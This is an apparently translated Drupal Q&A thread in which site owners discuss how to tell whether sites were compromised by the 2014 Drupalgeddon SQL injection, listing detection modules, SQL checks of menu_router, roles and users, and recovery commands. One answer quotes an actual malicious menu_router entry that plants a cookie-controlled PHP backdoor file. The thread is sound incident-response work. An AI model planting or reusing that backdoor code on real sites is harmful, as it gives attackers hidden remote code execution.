Drupal SA-CORE-2014-005 - Como saber se meu servidor / sites foram comprometidos?


40

Acabei de atualizar todos os meus sites usando o método de correção para resolver a exploração Drupal SA-CORE-2014-005. Acabei de ler relatos de que ontem houve alguém de um IP russo se infiltrando em sites de drupal.

https://www.drupal.org/SA-CORE-2014-005

Minhas principais preocupações são agora:

  • Como posso saber se meus sites foram compostos?
  • O que devo procurar nos meus logs de acesso apache para detectar se meu site foi vítima ou não?
  • Até agora, o que esses hackers estão fazendo em sites abrangidos?

7
Há um módulo para isso agora drupal.org/project/drupalgeddon
mikeytown2

e se eu não tiver aliases configurados para 100 sites drupal? Quais são alguns dos hacks comuns que você encontrou para saber o que esperar?
Patoshi # 20/14


11
@duckx Verifique o código no módulo drupalgeddon e você encontrará esses hacks comuns; não podemos listar todas as alterações possíveis que um usuário mal-intencionado pode fazer com acesso total a um banco de dados, por razões óbvias. Eles podem fazer qualquer alteração que o usuário do MySQL Drupal tenha permissão para fazer, esse é o ponto. Então, literalmente, a única maneira de ter certeza é comparar seu banco de dados atual com uma versão boa conhecida. Se você está procurando um botão para empurrar que irá de forma confiável, 100% precisão, dizer-lhe ou não o seu site foi comprometido, você está sonhando eu tenho medo :)
Clive

Ducky: se você não tiver aliases configurados e tiver 100 sites, será mais fácil configurá-los do que lidar com eles manualmente? Arranja uma lista de raízes e URLs do site e você pode transformar isso em um conjunto de aliases a partir daí.
Chris Burgess

Respostas:


6

Aqui estão algumas consultas SQL que podem ser executadas nos bancos de dados do site para verificar se há usuários com privilégios de administrador e quais acessaram o site após 15 de outubro.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


11
Olá e bem-vindo ao Drupal Answers. Você pode melhorar sua resposta, fornecendo um pequeno resumo da página fornecida.
Wtower 4/11/14

Aliás, é recomendável verificar se há usuários criados após 15 de outubro. Isso usa o createdcampo da tabela de usuários. Não é garantido que a pessoa que injetou o SQL respeite o valor do campo, o que torna essa verificação pouco útil. De fato, ocorreu-me que a injeção comum de usuário pelo nome drupaldevfoi supostamente criada há 44 semanas. Quanto à segunda recomendação, novamente não é garantido que o usuário injetado tenha efetivamente
efetuado

29

Se você está lendo este artigo e espera verificar um site do Drupal 7 mais de um mês após a exploração, o seu site provavelmente já foi invadido . Sua melhor aposta é restaurar um backup antes do início dos ataques e trabalhar a partir daí.

Há uma FAQ sobre SA-CORE-2014-005 .

Como posso saber se meus sites foram comprometidos?

Uma maneira de verificar rapidamente se os sites estão comprometidos é com o comando drupalgeddon drush.

Instale no seu ~/.drushcomdrush dl drupalgeddon

Então use drush drupalgeddon-testpara testar. Aliases Drush tornam isso fácil e rápido.

Essa ferramenta pode confirmar um site explorado, mas não pode garantir que seu site não foi explorado. Não há "atestado de integridade" aqui, a menos que você tenha atualizado antes dos ataques começarem.


O módulo de auditoria do site inclui algumas das verificações do Drupalgeddon e oferece muito mais informações úteis. Eu recomendo. (Edição: Agora eles trabalham juntos - super legal!)


A Revisão de segurança não verifica ataques ao Drupalgeddon, mas também vale a pena ter no seu cinto de ferramentas.


Se a base de código do seu site foi gravável para o usuário www, você também pode verificar o código modificado usando o módulo invadido. Este módulo pode não fazer o que você pensa com base apenas no seu nome :)


Embora não exista uma maneira única de identificar todos os sites comprometidos, essas ferramentas podem ajudá-lo a identificar as indicações mais comuns.


O que devo procurar nos meus logs de acesso apache para detectar se meu site foi vítima ou não?

Seus logs de acesso conterão muitas solicitações POST até o momento. A menos que você tenha tomado o passo incomum de registrar todos os dados da postagem antes do bug, é improvável que você tenha informações para dizer quais deles eram maliciosos.

Até agora, o que esses hackers estão fazendo em sites comprometidos?

Muitos estão relatando que seus sites estão sendo corrigidos pelos hackers! Como invasor, isso faz sentido - você não quer que seu site recém-invadido seja arrancado de baixo de você pelo próximo invasor :)

Fora isso, eu acho que os sites estão sendo usados ​​para coletar quaisquer dados valiosos que existem (talvez pegar alguns creds, talvez levantar detalhes de transações após a exploração) e fazer coisas chatas como enviar spam e trabalhar como humildes escravos de botnets. Ah, e expandir ainda mais o império do atacante de sites Drupal seqüestrados. (Desculpe, não tenho sites hackeados para observar.)


Você pode esclarecer? Algum ataque sempre começaria com uma solicitação POST? Estou examinando meus registros em busca de POSTS. Vi o IP 62.76.191.119 depois que eu fiz o patch.
Lance Holland

Eu tinha um site que foi vítima dessa exploração e parecia que os invasores o usaram para enviar toneladas de spam do servidor.
Cyclonecode

24

Algumas verificações de ataques comuns são (esta não é uma lista exaustiva, mas são alguns dos ataques vistos na natureza até agora):

  • Verifique sua conta de usuário 1 para garantir que seu nome de usuário, endereço de email ou senha sejam os que você espera que sejam. Verifique também qualquer outra conta de usuário que possua altos níveis de permissão, se possível.
  • Verifique se há novas contas de usuário suspeitas.
  • Verifique se há alterações nas funções em seu sistema, por exemplo, quaisquer novas funções ou funções renomeadas.
  • Verifique se há alterações de permissão. O aspecto mais importante disso é garantir que a função de usuário anônimo (ou outras funções que alguém possa se inscrever para obter) não tenha sido alterada para oferecer maior acesso.
  • Verifique se há novos blocos personalizados que podem conter código malicioso.
  • Verifique se há novos nós personalizados que podem conter código malicioso.
  • Verifique se há arquivos no seu sistema de arquivos que não deveriam estar lá. Isso é fácil se você usar o controle de versão, porque você pode executar o status git ou svn st para verificar se existem novos arquivos.
  • Se eles fizeram upload de arquivos maliciosos, você pode verificar seus logs de acesso quanto a ocorrências em nomes de arquivos estranhos com os quais você não está familiarizado.
  • Verifique a tabela do banco de dados do roteador de menus em busca de entradas maliciosas. Por exemplo (o módulo drupalgeddon / plugin drush no drupal.org possui um bom script para verificar esta tabela mais detalhadamente):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • Você também pode simplesmente procurar na tabela do roteador de menus por entradas com aparência estranha.

Algumas coisas que os hackers estão tentando fazer são:

  • Coloque arquivos de script php em seu site para que eles possam ser executados pressionando-os em um navegador. Esses scripts podem fazer uma grande variedade de coisas maliciosas. Isso é obtido com a adição de entradas maliciosas no roteador de menus.
  • Crie contas de usuários administrativos para eles usarem para fazer coisas ruins no seu site ou assumir o controle dele.
  • Altere o endereço de email do usuário 1 para que ele possa redefinir a senha dessa conta e assumi-la.
  • Altere as permissões em funções de usuário acessíveis ao público.
  • Adicione blocos / nós / etc. que pode conter código malicioso. Se você tiver o filtro PHP ativado, isso é ainda mais problemático.

Infelizmente, existem tantas coisas que um invasor pode fazer no seu banco de dados que é muito difícil fornecer uma lista completa de possibilidades. Eles poderiam fazer coisas que tentassem obter o controle do seu site, ou poderiam simplesmente quebrá-lo, mas eliminando tabelas ou colunas do banco de dados, etc.

Eles podem até fazer pequenas alterações na configuração do site, como alterar o nome do site ou algo assim, que não é o fim do mundo, mas ainda é problemático.

Basicamente, qualquer coisa que você possa fazer em seu banco de dados executando um comando SQL, teoricamente um invasor pode fazer.

Todos os módulos mencionados na resposta de Chris Burgess são muito úteis para verificar essas coisas.


11
Você deve ter sido atingido por 62.76.191.119. Normalmente, parece que esse IP está tentando colocar um arquivo no seu docroot via menu_router e possivelmente outras coisas desagradáveis ​​ao seu banco de dados. você pode ler os comentários em drupal.org/node/2357241 .
SCOR

Não fui atingido por ninguém até o momento, até agora. Esta é apenas uma informação para ajudar o OP.
ROOBY

como eu iria sobre "Verifique a tabela do banco de dados do roteador de menu para entradas maliciosas:"? estou em um servidor centos e tenho root.
Patoshi # 17/14

Você pode executar o comando do banco de dados "SELECT * FROM menu_router" e percorrer todos eles para verificar se há linhas que parecem fora do lugar. Também há um comando mais específico mencionado na minha resposta que procura um ataque específico conhecido e usado para carregar arquivos no seu servidor.
ROOBY

Esse IP 62.76.191.119 tenta explorar a vulnerabilidade dos meus sites dentro de um dia após o lançamento da atualização de segurança. Eu bani de todos os meus sites. Eu tive muita sorte de atualizar meus sites a tempo. Foi estranho porque estava atingindo meus sites em ordem alfabética.
cayerdis

10

Eu acho que seguiria o conselho drupal.org " Você deve seguir o pressuposto de que todo site do Drupal 7 foi comprometido, a menos que seja atualizado ou corrigido antes de 15 de outubro, 23:00 UTC, ou seja, sete horas após o anúncio ". Como Bevan disse neste comentário "A atualização ou correção do Drupal não corrige backdoors que os atacantes instalaram antes de atualizar ou corrigir o Drupal".

Bevan também fez o seguinte gráfico de fluxo de trabalho para ajudá-lo a analisar se você pode ter sido infectado e como recuperar e prevenir . No entanto, ele pede a todos que acessem o artigo original para garantir que você tenha a versão mais recente do fluxo de trabalho. Além disso, o Acquia faz um artigo interessante sobre os ataques e padrões que eles sofreram no Acquia Cloud

 fluxograma para entender se você está vulnerável, se pode ter sido infectado e como se recuperar


4

Citação de: https://www.drupal.org/node/2357241#comment-9258955

Este é um exemplo do arquivo que é inserido na coluna menu_outer table access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Como você pode ver, está tentando criar o arquivo modules / image / vzoh.php, mas como eu tenho apenas permissões de leitura dentro desses diretórios, o php falha.

Relatórios de pessoas encontrando arquivos semelhantes criados fazendo uma pesquisa no diretório drupal: https://www.drupal.org/node/2357241#comment-9260017


O que eu fiz foi fazer o seguinte comando:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Citado em: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Mostrando arquivos que foram alterados no servidor ativo: status do git

Procurando por tentativas de execução de código via menu_router: selecione * em menu_router em que access_callback = 'file_put_contents'

Mostrando quais arquivos estão no servidor ativo e não no controle de versão: diff -r docroot repo | grep docroot | grep 'Somente no docroot'

Localizando arquivos PHP no diretório files: find. -caminho "* php"

Para verificar a quantidade de tempo entre o momento em que um usuário fez login no site e a visita à página mais recente: selecione (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid dos usuários de associação interna das sessões em s.uid = u.uid;


3

Uma lista muito boa de comandos para saber se você foi comprometido.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

11
Em vez de dar respostas separadas, talvez você deva editar a primeira e adicionar informações adicionais?
Cyclonecode

Ao utilizar nosso site, você reconhece que leu e compreendeu nossa Política de Cookies e nossa Política de Privacidade.
Licensed under cc by-sa 3.0 with attribution required.